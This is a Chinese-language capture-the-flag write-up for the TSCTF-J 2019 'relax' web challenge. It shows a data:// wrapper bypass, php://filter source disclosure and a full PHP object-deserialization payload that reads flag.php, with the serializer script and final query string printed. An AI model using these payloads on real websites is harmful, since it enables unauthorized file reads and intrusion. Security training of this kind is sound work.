【TSCTF-J 2019】relax

题目地址http://ctf.merak.codes

打开是个没用的网站,扫描一下~
在这里插入图片描述
访问/robots.txt,发现三个文件:

User-agent: *
Disallow: /relax.php
Disallow: /heicore.php
Disallow: /flag.php

其中只有/relax.php里有东西,查看源码:
在这里插入图片描述
这个是aaencode代码,直接扔进控制台运行,或者在线解密:https://www.qtool.net/decode
在这里插入图片描述
整理得:

$_ = $_GET['pw'];
$__ = $_GET['file'];
$___ = $_GET['(><)'];
if (isset($_) && (file_get_contents($_, 'r') === "Two thousand three hundred and thirty-three")) {
    echo '<img src="./images/13.jpg" alt=""><br>';
    include($__);
} else {
    echo '<img src="./images/1.gif" alt="">';
}

其中file_get_contents($_, 'r') === "Two thousand three hundred and thirty-three"可以用data://伪协议绕过;
下面还有个include($__);,想用file=flag.phpinclude来包含flag,却回显“It’s not that simple”,是我太天真了!
于是构造php://filter伪协议来读取heicore.phprelax.php的源码
heicore.php:

<?php
class Heicore{
	public $file;
	public function __destruct(){
		if(isset($this->file)){
			echo file_get_contents($this->file);
		}
	}
}

relax.php:

<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$_ = $_GET['pw'];
$__ = $_GET['file'];
$___ = $_GET['(><)'];
if(isset($_)&&(file_get_contents($_,'r')==="Two thousand three hundred and thirty-three"))
	{
		echo '<img src="./images/13.jpg" alt=""><br>';
		if(preg_match("/flag/i",$__))
			{
				echo "It's not that simple";
				exit();
			}else{
				include($__);
				unserialize($___);
			}
		}else
		echo '<img src="./images/1.gif" alt="">';  }    ?>

终于拿到了完整的源码,的确是过滤了flag
可以看到heicore.php中的析构函数会输出$file,所以把它包含进来,并让其成员$file等于flag.php,由于调用了函数unserialize(),我们就利用反序列化触发魔术方法__destruct()来输出flag;

<?php
class Heicore {
	public $file = 'php://filter/read=convert.base64-encode/resource=flag.php';

}
$a = new Heicore();
$b = serialize($a);
echo $b;
#O:7:"Heicore":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

构造的payload:

?pw=data:text/plain,Two%20thousand%20three%20hundred%20and%20thirty-three&file=heicore.php&(><)=O:7:"Heicore":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

在这里插入图片描述
解base64
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值